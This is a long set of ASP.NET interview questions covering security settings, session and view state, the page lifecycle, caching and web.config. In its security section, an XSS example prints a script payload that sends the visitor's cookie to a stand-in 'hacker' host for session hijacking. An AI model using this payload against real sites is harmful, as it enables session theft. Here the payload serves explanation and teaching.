# ASP.NET

**What is Code-Access Security (CAS)?**

In one of above ASP.NET security related interview questions, we discussed about Role Based Security that restrict access to resources on the basis of user’s role. CAS (**Code Access Security**) is entirely a different concept. It’s .NET CLR’s security system that restrict the code to perform an unwanted task by applying security policies. Using CAS (Code Access Security), we can restrict *what our code can do?* and also *what code can call our code?*

**What are the key functions of Code Access Security?**

* Defines permissions and permission sets that represent the right to access various system resources.
* Enables code to demand that its callers have specific permissions.
* Enables code to demand that its callers possess a digital signature, thus allowing only callers from a particular organization or site to call the protected code.
* Enforces restrictions on code at run time by comparing the granted permissions of every caller on the call stack to the permissions that callers must have.

Code Access Security Tool (Caspol.exe) can be used to turn Code Access Security ON or OFF as follows:

* caspol -security on
* caspol -security off

We can also list all code groups using following command.

* caspol -listgroups

**What is Impersonation in ASP.NET?**

Impersonation is an act of a user to pretend itself to be another user. By default, ASP.NET executes application code using the same user account as that of ASP.NET process i.e. Network Service. But with impersonation enabled, it executes code with the windows identity of the user making the request.

For example, if a user ‘user1′ logged in and IIS is setup to run as Network Service. If ‘user1′ call a piece of code on another computer (may be a web service call), the other computer will see the IIS user instead of ‘user1′. But we can enable impersonation to allow ‘user1′ to access the web service using its windows identity instead of Network Service.

**How to configure Impersonation in ASP.NET?**

By default, impersonation is disabled in ASP.NET. Impersonation can be Enabled/Disabled as follows:

*</configuration>*  
*<system.web>*  
*<identity impersonate=”true”/> <! — To disable set impersonate=”false” –>*  
*</system.web>*  
*</configuration>*

Impersonate a specific user account as:

*<identity impersonate=”true” userName=”user” password=”pwd” />*

#### What are HttpHandlers and HttpModules in ASP.NET?

**HttpHandler**: ASP.NET Engine uses HttpHandlers to handle specific requests on the basis of its extensions. ASP.NET Page Handler handles all requests coming for (.aspx) pages. We can define our own custom HttpHandler to handle a specific request with a specific extension, say .jpeg, .gif, or .ahmad. But there will always be only one handler for a specific request.

**HttpModule**: ASP.NET Engine uses HttpModules to inject some specific functionality along with ASP.NET default functionality for all incoming requests regardless of its extensions. There are a number of built-in modules already available in ASP.NET HTTP Pipeline. But we can write our own custom HTTP module to perform some additional functionality (for example, URL rewriting or implementing some security mechanism) for all incoming requests.

#### What is State Management?

HTTP is a stateless protocol by nature. So, we need some mechanism to preserve state (i.e. state of a webpage, a control or an object etc.) between subsequent requests to server from one or more clients. And this mechanism is referred as **State Management**.

#### Http is stateless, what does this mean?

**A.** Stateless protocol is a communications protocol that treats each request as an independent transaction that is unrelated to any previous request so that the communication consists of independent pairs of requests and responses.

What are the State Management Techniques used in ASP.NET?

State Management techniques used in ASP.NET can be categorized in two types:

1. Client-Side State Management
   * View State
   * Control State
   * Hidden Fields
   * Cookies
   * Query String
2. Server-Side State Management
   * Application State
   * Session State
   * Profile Properties

#### What is the difference between Application and Session State?

Application state is basically a common data repository for an application’s all users and their all sessions. On the other hand, Session state is specific to a single user session.  
So, we can store data in application state object that is common for all users of a particular application as follows:

//Set Value  
Application["UsersCounter"] = Convert.ToInt32(Application["UsersCounter"]) + 1;  
//Retrieve Value  
lblUsersCounter.Text = Application["UsersCounter"].ToString();

It’s recommended to store smaller size values in application object.

Session object can store data for a specific session of user. Storage and retrieval is also simple just as for application object.

//Set Value  
Session["ProductsCount"] = Convert.ToInt32(Session["ProductsCount"]) + 1;  
//Retrieve Value  
lblProductsCounter.Text = Session["ProductsCount"].ToString();

#### Q. What is Session?

**A**: Session provide us the way of storing data in server memory. So you can store your page data into server memory and retrieve it back during page postbacks.

<sessionState

mode="[Off|InProc|StateServer|SQLServer|Custom]" -- **InProc**

timeout="number of minutes" -- **20 mins**

cookieName="session identifier cookie name" –**ASP.NET\_SessionID**

cookieless=

"[true|false|AutoDetect|UseCookies|UseUri|UseDeviceProfile]" --**UseCookies**

regenerateExpiredSessionId="[True|False]" –-**true**

sqlConnectionString= "data source=127.0.0.1;Integrated Security=SSPI"

sqlCommandTimeout="number of **seconds**" --**30**

allowCustomSqlDatabase="[True|False]"

useHostingIdentity="[True|False]"

stateConnectionString="tcpip=server:port"

stateNetworkTimeout="number of seconds"

customProvider="custom provider name">

<providers>...</providers>

</sessionState>

**Advantages:**Session provide us the way of maintain user state/data.  
It is very easy to implement.  
One big advantage of session is that we can store any kind of object in it. :eg, datatabe, dataset.. etc  
By using session we don't need to worry about data collesp, because it store every client data separately.  
Session is secure and transparent from the user.

**Disadvantages:**Performance overhead in case of large volumes of data/user, because session data is stored in server memory.  
Overhead involved in serializing and de-serializing session data, because in the case of StateServer and SQLServer session modes, we need to serialize the objects before storing them.

#### What are Session state modes in ASP.NET?

ASP.NET supports different session state storage options:

* **In-Process** is the default approach. It stores session state locally on same web server memory where the application is running.
* **StateServer** mode stores session state in a process other than the one where application is running. Naturally, it has added advantages that session state is accessible from multiple web servers in a Web Farm and also session state will remain preserved even web application is restarted.
* **SQLServer** mode stores session state in SQL Server database. It has the same advantages as that of StateServer.
* **Custom** modes allows to define our custom storage provider.
* **Off** mode disables session storage.

#### 5).What is Session ID in Asp.net?

**A**: Asp.Net use 120 bit identifier to track each session. This is secure enough and can't be reverse engineered. When client communicate with server, only session id is transmitted, between them. When client request for data, ASP.NET looks on to session ID and retrieves corresponding data.  
  
By default, the unique identifier for a session is stored in a non-expiring session cookie in the browser. The ASP Session cookie has this format:-  
ASPSESSIONIDACSSDCCC=APHELKLDMNKNIOJONJACDHFN

#### Q. Where does session stored if cookie is disabled on client’s machine?

Ans: If you want to disable the use of cookies in your ASP.NET application and still make use of session state, you can configure your application to store the session identifier in the URL instead of a cookie by setting the cookieless attribute of the sessionState configuration element to true, or to UseUri, in the Web.config file for your application.  
The following code example shows a Web.config file that configures session state to use cookieless session identifiers.

9).What are Session Events?  
Ans: There are two types of session events available in ASP.NET:  
Session\_Start  
Session\_End  
You can handle both these events in the global.asax file of your web application. When a new session initiates, the session\_start event is raised, and the Session\_End event raised when a session is abandoned or expires.  
Session\_End- event is supported by InProc mode only.

What is the difference between Session.Clear() and Session.Abandon() in ASP.NET?

As we understand that Session is a Collection and it stores data as Key/Value pair. So,  
Session.Clear() clears all the session values but doesn’t destroy the Session. however,

 Session.Abandon() destroys the session object.

In other words, Session.Clear() is like deleting all files inside a folder (say “Root”) but Session.Abandon() means deleting the “Root” folder.

**13).What are the disadvantages of using InProc session mode?**  
Ans: Its stores session information in the current Application Domain.  
So it will lose data if we restart the server.

**15).What do you understand by StateServer(Out-Proc) mode?**  
Ans: StateServer session mode is also called Out-Proc session mode.

StateServer is one of the ASP.NET sessionState mode. StateServer mode stores session state in a process, referred to as the ASP.NET state service, that is separate from the ASP.NET worker process or IIS application pool. Using this mode ensures that session state is preserved if the Web application is restarted and also makes session state available to multiple Web servers in a Web farm.

To use StateServer mode, you must first be sure the ASP.NET state service is running on the server used for the session store. The ASP.NET state service is installed as a service when ASP.NET and the .NET Framework are installed. The ASP.Net state service is installed at the following location:

systemroot\Microsoft.NET\Framework\versionNumber\aspnet\_state.exe

To configure an ASP.NET application to use StateServer mode, in the application's Web.config file do the following:

Set the mode attribute of the sessionState element to StateServer.

Set the stateConnectionString attribute to tcpip=serverName:42424.

The following example shows a configuration setting for StateServer mode where session state is stored on a remote computer named SampleStateServer:

<configuration>  
  <system.web>  
    <sessionState mode="StateServer"  
      stateConnectionString="tcpip=SampleStateServer:42424"  
      cookieless="false"  
      timeout="20"/>  
  </system.web>  
</configuration>

**17).What are the advantages and disadvantages of StateServer(Out-Proc) Session mode?**  
A: Advantages:

* It keeps data separate from IIS so any issues with IIS will not hamper session data.
* It is useful in web farm and web garden scenarios.

Disadvantages:

* Process is slow due to serialization and de-serialization.
* State Server always needs to be up and running.

20).What are the advantages and disadvantages of SqlServer Session mode?  
Ans: Advantages:

* Session data not affected if we restart IIS.
* The most reliable and secure session management.
* It keeps data located centrally, is easily accessible from other applications.
* Very useful in web farms and web garden scenarios.

Disadvantages:

* Processing is very slow in nature.
* Object serialization and de-serialization creates overhead for the application.
* As the session data is handled in a different server, we have to take care of SQL Server. It should be always up and running.

## ViewState

**1). What is View State in Asp.net?**  
Ans: View state is nothing but a method that the ASP.NET use to preserve page and control values between postbacks. When the HTML markup for the page is rendered, the current state of the page and values that must be retained during postback are serialized into base64-encoded strings. It stays along with the page in the Client Browser. This information is then put into the view state hidden field.  
View state is client-side state management technique

USE

a) Keep values between postbacks without storing them in session state or in a user profile.  
b) Store the values of page or control properties that you define.  
c) Create a custom view state provider that lets you store view state information in a SQL Server database or in another data store.

**Pros**:Enhanced security features : The values in view state are hashed, compressed, and encoded for Unicode implementations, which provides more security than using hidden fields.  
**Limitations:**Because view state is stored in the page, it results in a larger total page size.  
ASP.NET uses view state only with page and control properties.  
View state isn't a good place to store sensitive information that the client shouldn't be allowed to see.

#### Can we Enable/Disable ViewState?

A. Yes, ViewState can be enabled or disable at different levels:

@Control Level

ViewState for a specific control can be enabled or disabled by setting EnableViewState property as follows:

aControl.EnableViewState = false;

@Page Level

We can enable/disable ViewState for a complete page as follows:

<%@ Page Language=”C#” EnableViewState=”false” %>

@Application Level

For whole application, we can enable/disable views in configuration file as follows:

<pages enableViewState=”false”>

….

</pages>

#### Q. How do we ensure viewstate is not tampered?

A. using the @ page directive and setting Enable View State Mac property true

#### What is Query String? What are its advantages and limitations?

The Query String helps in sending the page information to the server.  
The Query String has the following advantages:

* Every browser works with Query Strings.
* It does not require server resources and so does not exert any kind of burden on the server.

The following are the limitations of Query String:

* Information must be within the limit because URL does not support many characters.

Information is clearly visible to the user, which leads to security threats.

#### What is PostBack

A postback is a request sent from a client to server from the same page user is already working with.

What is AutoPostBack Property in ASP.NET:  
If we create a web Page, which consists of one or more Web Controls that are configured to use AutoPostBack (Every Web controls will have their own AutoPostBack property), the ASP.Net adds a special JavaScipt function to the rendered HTML Page. This function is named \_doPostBack() . When Called, it triggers a PostBack, sending data back to the web Server.  
  
ASP.NET also adds two additional hidden input fields that are used to pass information back to the server. This information consists of ID of the Control that raised the event and any additional information if needed. These fields will empty initially as shown below,  
  
**<input type="hidden" name="\_\_EVENTTARGET" id="\_\_EVENTTARGET" value="" />  
< input type="hidden" name="\_\_EVENTARGUMENT" id="\_\_EVENTARGUMENT" value="" />**    The \_doPostBack() function has the responsibility for setting these values with the appropriate information about the event and the submitting the form.

#### What’ is the sequence in which ASP.NET events are processed?

|  |  |
| --- | --- |
| Page Event | Typical Use |
| [PreInit](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.preinit(v=vs.100).aspx) | Raised after the start stage is complete and before the initialization stage begins. Use this event for the following:   * Check the [IsPostBack](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.ispostback(v=vs.100).aspx) property to determine whether this is the first time the page is being processed. The [IsCallback](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.iscallback(v=vs.100).aspx) and [IsCrossPagePostBack](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.iscrosspagepostback(v=vs.100).aspx) properties have also been set at this time. * Create or re-create dynamic controls. * Set a master page dynamically. * Set the [Theme](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.theme(v=vs.100).aspx) property dynamically. * Read or set profile property values.   **Note** If the request is a postback, the values of the controls have not yet been restored from view state. If you set a control property at this stage, its value might be overwritten in the next event. |
| [Init](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.init(v=vs.100).aspx) | Raised after all controls have been initialized and any skin settings have been applied. The [Init](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.init(v=vs.100).aspx) event of individual controls occurs before the [Init](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.init(v=vs.100).aspx) event of the page.  Use this event to read or initialize control properties. |
| [InitComplete](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.initcomplete(v=vs.100).aspx) | Raised at the end of the page's initialization stage. Only one operation takes place between the [Init](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.init(v=vs.100).aspx) and [InitComplete](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.initcomplete(v=vs.100).aspx) events: tracking of view state changes is turned on. View state tracking enables controls to persist any values that are programmatically added to the [ViewState](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.viewstate(v=vs.100).aspx) collection. Until view state tracking is turned on, any values added to view state are lost across postbacks. Controls typically turn on view state tracking immediately after they raise their [Init](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.init(v=vs.100).aspx) event.  Use this event to make changes to view state that you want to make sure are persisted after the next postback. |
| [PreLoad](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.preload(v=vs.100).aspx) | Raised after the page loads view state for itself and all controls, and after it processes postback data that is included with the [Request](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.request(v=vs.100).aspx) instance. |
| [Load](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.load(v=vs.100).aspx) | The [Page](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page(v=vs.100).aspx) object calls the [OnLoad](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.onload(v=vs.100).aspx) method on the [Page](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page(v=vs.100).aspx) object, and then recursively does the same for each child control until the page and all controls are loaded. The [Load](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.load(v=vs.100).aspx) event of individual controls occurs after the [Load](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.load(v=vs.100).aspx) event of the page.  Use the [OnLoad](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.onload(v=vs.100).aspx) event method to set properties in controls and to establish database connections. |
| Control events | Use these events to handle specific control events, such as a [Button](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.webcontrols.button(v=vs.100).aspx) control's [Click](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.webcontrols.button.click(v=vs.100).aspx) event or a [TextBox](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.webcontrols.textbox(v=vs.100).aspx) control's [TextChanged](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.mobilecontrols.textbox.textchanged(v=vs.100).aspx) event.  NoteNote  In a postback request, if the page contains validator controls, check the [IsValid](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.isvalid(v=vs.100).aspx) property of the [Page](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page(v=vs.100).aspx) and of individual validation controls before performing any processing. |
| [LoadComplete](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.loadcomplete(v=vs.100).aspx) | Raised at the end of the event-handling stage.  Use this event for tasks that require that all other controls on the page be loaded. |
| [PreRender](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.prerender(v=vs.100).aspx) | Raised after the [Page](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page(v=vs.100).aspx) object has created all controls that are required in order to render the page, including child controls of composite controls. (To do this, the [Page](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page(v=vs.100).aspx) object calls [EnsureChildControls](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.ensurechildcontrols(v=vs.100).aspx) for each control and for the page.)  The [Page](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page(v=vs.100).aspx) object raises the [PreRender](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.prerender(v=vs.100).aspx) event on the [Page](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page(v=vs.100).aspx) object, and then recursively does the same for each child control. The [PreRender](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.prerender(v=vs.100).aspx) event of individual controls occurs after the [PreRender](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.prerender(v=vs.100).aspx) event of the page.  Use the event to make final changes to the contents of the page or its controls before the rendering stage begins. |
| [PreRenderComplete](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.prerendercomplete(v=vs.100).aspx) | Raised after each data bound control whose [DataSourceID](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.webcontrols.databoundcontrol.datasourceid(v=vs.100).aspx) property is set calls its [DataBind](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.databind(v=vs.100).aspx) method. For more information, see [Data Binding Events for Data-Bound Controls](http://msdn.microsoft.com/en-us/library/vstudio/ms178472(v=vs.100).aspx#data_binding_events_for_databound_controls) later in this topic. |
| [SaveStateComplete](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.savestatecomplete(v=vs.100).aspx) | Raised after view state and control state have been saved for the page and for all controls. Any changes to the page or controls at this point affect rendering, but the changes will not be retrieved on the next postback. |
| [Render](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.render(v=vs.100).aspx) | This is not an event; instead, at this stage of processing, the [Page](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page(v=vs.100).aspx) object calls this method on each control. All ASP.NET Web server controls have a [Render](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.render(v=vs.100).aspx) method that writes out the control's markup to send to the browser.  If you create a custom control, you typically override this method to output the control's markup. However, if your custom control incorporates only standard ASP.NET Web server controls and no custom markup, you do not need to override the [Render](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.render(v=vs.100).aspx) method. For more information, see [Developing Custom ASP.NET Server Controls](http://msdn.microsoft.com/en-us/library/vstudio/zt27tfhy(v=vs.100).aspx).  A user control (an .ascx file) automatically incorporates rendering, so you do not need to explicitly render the control in code. |
| [Unload](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.control.unload(v=vs.100).aspx) | Raised for each control and then for the page.  In controls, use this event to do final cleanup for specific controls, such as closing control-specific database connections.  For the page itself, use this event to do final cleanup work, such as closing open files and database connections, or finishing up logging or other request-specific tasks. |

### Cache Management in ASP.NET?

ASP.NET provided support for Cache Management in almost all versions. In .NET Framework 3.5 and older, the support for caching was provided through classes available in *System.Web.Caching*. But this support was limited to *System.Web* meaning for ASP.NET Web Applications only. Now, with .NET Framework 4.0 and later, this support is enhance to non-Web Applications also by providing APIs in *System.Runtime.Caching*.

ASP.NET supports three types of Caching:

* Page Output Caching
* Partial Page Caching
* Data Caching

Page Output Cache Vs Partial Page Cache Vs Application Data Cache in ASP.NET?

**Page Output Cache**  
In case of Page Output Cache, the output of a complete web page is stored in a cache. So, when that web page is accessed again, it will be loaded from cache instead of fetching page data again from data source.

**Partial Page Cache**  
For Partial Page Cache (also known as Page Fragment Cache), a part or fragment of a web page is stored in Cache as opposed to complete page caching for Page Output Cache. For example, caching a user control on a web page that displays product categories using Page Fragment Cache.

**Data Cache**  
In some scenarios, we may store frequently used objects into cache using ASP.NET Cache API. So, later on, that object will be loaded from cache instead of instantiating object again and fetching data from original source for it.

How to use Page Output Cache in ASP.NET?

Implementing Page Output Cache in ASP.NET is simple. For Page Output Caching, **@ OutputCache** directive is used on an ASP.NET page as follows:

<%@ OutputCache Duration=”50″ VaryByParam=”None” %>

Duration value is in seconds and it tells the page that how long to cache the contents?  
Now, when we will access the page, it will verify that either it exists in Cache? if Yes, then verify that is it expired? If not then fetch it from Cache and render otherwise create a new instance of the page and put it back to Cache.

The other parameter of this directive is “VaryByParam”. If it’s value is specified to something as follows:

<%@ OutputCache Duration=”50″ VaryByParam=”ProductId” %>

Now, Cache is dependent on the value of this parameter, If the value of parameter remains same, page will be fetched from Cache otherwise it will be refreshed again.For in-depth details on Page Output Cache, [follow here](http://support.microsoft.com/kb/308375).

How to use Page Fragment or Partial Page Cache in ASP.NET?

Page Fragment Caching uses the same @ OutputCache directive with VaryByControl parameter as follows:  
*<%@ OutputCache Duration=”50″ VaryByParam=”None” VaryByControl=”ControlName” %>*  
  
In this case, Cache is dependent on the value of Control specified in VaryByControl parameter. For example, content on a page are dependent on the selected values of a dropdownlist, so, VaryByControl will have the dropdownlist control name as value.

How to use Data Cache in ASP.NET?

We have already explained the usage of Data Cache above in this series of ASP.NET Interview Questions that in particular situations, we need to store objects into cache. Adding an object to Cache and accessing it from Cache is simple.

We can use “*Add*” method to add an object to Cache as:

Cache.Add(key, value, dependencies, absoluteExpiration, slidingExpiration, priority, onRemoveCallback); if (Cache["ProductKey"] == null)  
Cache.Add(“ProductKey”,  
objProduct,  
null,  
DateTime.Now.AddSeconds(60),  
Cache.NoSlidingExpiration,  
CacheItemPriority.High,  
null);

To retrieve it back:

Product objProduct = (Product) Cache["ProductKey"];

#### What is the use of @Output Cache directive in ASP.NET?

Output caching stores a rendered page/control and spits back the stored HTML instead of having to generate it again for each request. Typically you do output caching for a specified period of time, for example 60 seconds.

On the first request, the output is cached, subsequent requests for the 60 second duration use the cached page instead of generating the html again. If this control is database intensive, then all subsequent requests for the 60 second duration saved database calls, etc, and the page load for the subsequent requests should be much faster.

An output cache improves ASP.NET site performance. We need to enable the output cache on master pages in code-behind C# files. Our web site uses a master page and content page system. We use output caching on ASP.NET master pages.

First, you cannot add an OutputCache directive on a master page. You must do the caching instructions programmatically, in code. Every content page that uses the master page needs output caching enabled.

#### Difference between Response.Redirect and Server.Transfer?

In case of Response.Redirect, a new request is generated from client-side for redirected page. It's a kind of additional round trip. As new request is generated from client, so the new URL is visible to user in browser after redirection.

While in case of Server.Transfer, a request is transferred from one page to another without making a round trip from client. For the end user, URL remains the same in browser even after transferring to another page.

#### What are page directives?

The first line of an ASP.NET page is the page directive; you will find it on all ASP.NET pages. These directives are instructions for the page. It begins with the @Page directive and continues with the various attributes available to this directive.

|  |  |
| --- | --- |
| Directive | Description |
| [@ Assembly](http://msdn.microsoft.com/en-us/library/vstudio/d864zc1k(v=vs.100).aspx) | Links an assembly to the current page or user control declaratively. |
| [@ Control](http://msdn.microsoft.com/en-us/library/vstudio/d19c0t4b(v=vs.100).aspx) | Defines control-specific attributes used by the ASP.NET page parser and compiler and can be included only in .ascx files (user controls). |
| [@ Implements](http://msdn.microsoft.com/en-us/library/vstudio/cbsf6k72(v=vs.100).aspx) | Indicates that a page or user control implements a specified .NET Framework interface declaratively. |
| [@ Import](http://msdn.microsoft.com/en-us/library/vstudio/eb44kack(v=vs.100).aspx) | Imports a namespace into a page or user control explicitly. |
| [@ Master](http://msdn.microsoft.com/en-us/library/vstudio/ms228176(v=vs.100).aspx) | Identifies a page as a master page and defines attributes used by the ASP.NET page parser and compiler and can be included only in .master files. |
| [@ MasterType](http://msdn.microsoft.com/en-us/library/vstudio/ms228274(v=vs.100).aspx) | Defines the class or virtual path used to type the [Master](http://msdn.microsoft.com/en-us/library/vstudio/system.web.ui.page.master(v=vs.100).aspx) property of a page. |
| [@ OutputCache](http://msdn.microsoft.com/en-us/library/vstudio/hdxfb6cy(v=vs.100).aspx) | Controls the output caching policies of a page or user control declaratively. |
| [@ Page](http://msdn.microsoft.com/en-us/library/vstudio/ydy4x04a(v=vs.100).aspx) | Defines page-specific attributes used by the ASP.NET page parser and compiler and can be included only in .aspx files. |
| [@PreviousPageType](http://msdn.microsoft.com/en-us/library/vstudio/ms228169(v=vs.100).aspx) | Creates a strongly typed reference to the source page from the target of a cross-page posting. |
| [@ Reference](http://msdn.microsoft.com/en-us/library/vstudio/w70c655a(v=vs.100).aspx) | Links a page, user control, or COM control to the current page or user control declaratively. |
| [@ Register](http://msdn.microsoft.com/en-us/library/vstudio/c76dd5k1(v=vs.100).aspx) | Associates aliases with namespaces and classes, which allow user controls and custom server controls to be rendered when included in a requested page or user control.  <%@Register Assembly="AjaxControlToolkit" Namespace="AjaxControlToolkit" TagPrefix="ajaxToolkit" %> |

It's unreasonable to expect a candidate to know all of these attributes, but a few popular ones include the following.

* **AutoEventWireup:** Indicates whether page events are autowired.
* **CodeBehind:** The name of the compiled class associated with the page.
* **Debug:** Indicates whether the page is compiled in debug mode (includes debug symbols).
* **EnableTheming:** Indicates whether themes are used on the page.
* **EnableViewState:** Indicates whether view state is maintained across pages.
* **ErrorPage:** Specifies a target URL to be used when unhandled exceptions occur.
* **Language:** Indicates the language used when compiling inline code on the page.
* **Trace:** Signals whether tracing is enabled on the page.

#### What is the use of Smart Navigation property?

with the help of smart navigation you can maintain the scroll position of your page at post back or refresh. yo can achieve it by setting MaintainScrollPositionOnPostback= true

<%@ PageLanguage="C#"AutoEventWireup="true"CodeFile="ViewResults.aspx.cs"Inherits="ViewResults"MaintainScrollPositionOnPostback="true"EnableEventValidation="false" %>

**What are the different types of Validation controls in ASP.NET?**

In order to validate user input, ASP.NET provides validation server controls. All validation controls inherits from BaseValidator class which contains the common validation properties and methods like ControlToValidate, Enabled, IsValid, EnableClientScript, ValidationGroup,Validate() etc.

ASP.NET provides a range of validation controls:

* RequiredFieldValidator validates compulsory/required input.
* RangeValidator validates the range. Validates that input falls between the given range values.
* CompareValidator validates or compares the input of a control with another control value or with a fixed value.
* RegularExpressionValidator validates input value against a defined regular expression pattern.
* CustomValidator allows to customize the validation logic with respect to our application logic.
* ValidationSummary displays all errors on page collectively.

**1). What is web.config file in asp.net?**  
Web.config is the main settings and configuration file for an ASP.NET web application. The file is an xml document that defines configuration information regarding the web application.This file stores the information about how the web application will act.

* web.config file is case-sensitive

**7). What is the use of customErrors tag in web.configfile ?**  
CustomErrors tag provides information about custom error messages for an ASP.NET application. The customErrors element can be defined at any level in the application file hierarchy.

Code:

<customErrorsdefaultRedirect ="Error.aspx" mode ="Off">  
<error statusCode ="401" redirect ="Unauthorized.aspx"/>  
< /customErrors>

The customErrors section consists of defaultRedirect and mode attributes which specify the default redirect page and the on/off mode respectively.  
The subsection of customErrors section allows redirecting to specified page depending on the error status code.  
400 Bad Request  
401 Unauthorized  
404 Not Found  
408 Request Timeout

**8). Can you describe the functionality of <httpHandlers> tab in web.config?**  
HttpHandler is a code that executes when an http request for a specific resource is made to the server. For example, request an .aspx page the ASP.NET page handler is executed, similarly if an .asmx file is requested, the ASP.NET service handler is executed. An HTTP Handler is a component that handles the ASP.NET requests at a lower level than ASP.NET is capable of handling.  
  
**9). What is authentication tag/section in web.config?**  
ASP.NET implements additional authentication schemes using authentication providers, which are separate from and apply only after the IIS authentication schemes. ASP.NET supports the following authentication providers:  
Windows (default)  
Forms  
Passport  
None  
To enable an authentication provider for an ASP.NET application, use the authentication element in either machine.config or Web.config as follows:

Code:

<system.web>  
<!-- mode=[Windows|Forms|Passport|None] -->  
<authentication mode="Windows" />  
< /system.web>

**10). For which purpose you use <appSettings> tag?**  
ASP.NET provides a configuration system we can use to keep our applications flexible at runtime. AppSettings tag helps us to store the application settings information like connection strings, file paths, URLs, port numbers, custom key value pairs, etc.

The items inside appSettings are items that need to be configurable depending upon the environment, for instance, any database connection strings will change as you move your application from a testing and staging server into production.  
Ex:-

Code:

<appSettings>

<addkey="ConnectionInfo"value="server= (local); database=Northwind;Integrated Security=SSPI"/>

</appSettings>

Get Connection String

stringconnectionInfo = ConfigurationSettings.AppSettings["ConnectionInfo"];

stringcnn = ConfigurationManager.ConnectionStrings["ConString"].ConnectionString;

**11). What is the use of connectionStrings tag?**  
<connectionStrings> is the most common section of web.config file which allows you to store multiple connection strings that are used in the application.

Code:

<connectionStrings>  
<add name ="ConString" connectionString ="Initial Catalog = abc;   
Data Source =localhost; Integrated Security = true"/>  
< /connectionStrings>

ASP.NET SECURITY INTERVIEW QUESTIONS SET-1  
**Q 4:- What is the difference between Authentication and Authorization?**  
Ans:- Authentication means validating users. In this step, we verify user credentials to check whether the person tying to log in is the right one or not.   
Authorization on the other hand is keeping track of what the current user is allowed to see and what should be hidden from him.  
  
**Q 5:- What do you understand by SQL Injection attack?**  
Ans:- A SQL injection attack occurs when untrusted input can modify the logic of a SQL query in unexpected ways.  
  
**Q 6:- What you will do to prevent SQL injection?**  
Ans:- I will use parameterized and typed stored procedures.  
The typed SQL parameter checks the type and length of the input, and it ensures that the userName input value is treated as a literal value and not as executable code in the database.  
  
**Q 7:- If you are not using Stored Procedure, think you are using simple sqlstatment then what you will do to prevent SQL injections?**  
Ans:- If the code does not use stored procedures, make sure that it uses parameters in the SQL statements it constructs, as shown in the following example.  
select status from Users where UserName=@userName  
I will check that the code does not use the following approach, where the input is used directly to construct the executable SQL statement by using string concatenation.  
string sql = "select status from Users where UserName='"  
+ txtUserName.Text + "'";  
  
**Q 9:- What is Cross-site scripting (XSS)?**  
Ans:- Cross Site Scripting (or XSS) is one of the most common application-layer web attacks. XSS commonly targets scripts embedded in a page which are executed on the client-side (in the user’s web browser) rather than on the server-side.   
Example 1.  
For example, the HTML snippet:  
< title>Example document: %(title)</title>  
is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the following HTML to be emitted to the browser:  
< title>Example document: XSS Doc</title>  
A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:  
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>  
Sitting on the other end, at the Webserver, you will be receiving hits where after a double space is the users cookie. You might strike lucky if an administrator clicks the link, allowing you to steal their sessionID and hijack the session.  
  
**Q 10:- What is the difference between Windows and Forms Authentication?**  
Ans:- Windows Authentication: is provided so that web pages  
can make use of the local Windows User and Groups.In it windows actual login name and  
password is used for authentication.  
  
Forms Authentication: Under Forms Authentication user can able to create their own  
login name and password it is basically a cookie based  
authentication system which stores the login name and  
password in database file.

**5). Can you tell the location of the root web.confit file from which all web.config file inherit ?**  
All the Web.config files inherit the root Web.config file available at the following location systemroot\Microsoft.NET\Framework\versionNumber\CONFIG\Web.config

What is a master page?

A master page is a template for one or more Web Forms. The master page defines how the page will be laid out when presented to the user, with placeholders for content. The MasterPageFile Page Directive in a content page's header is one way to assign a master page. The content pages rely solely on content and leave layout to the master page. ASP.NET merges the content with the master page layout when the content page is requested by a user.

What is the code behind feature of ASP.NET?

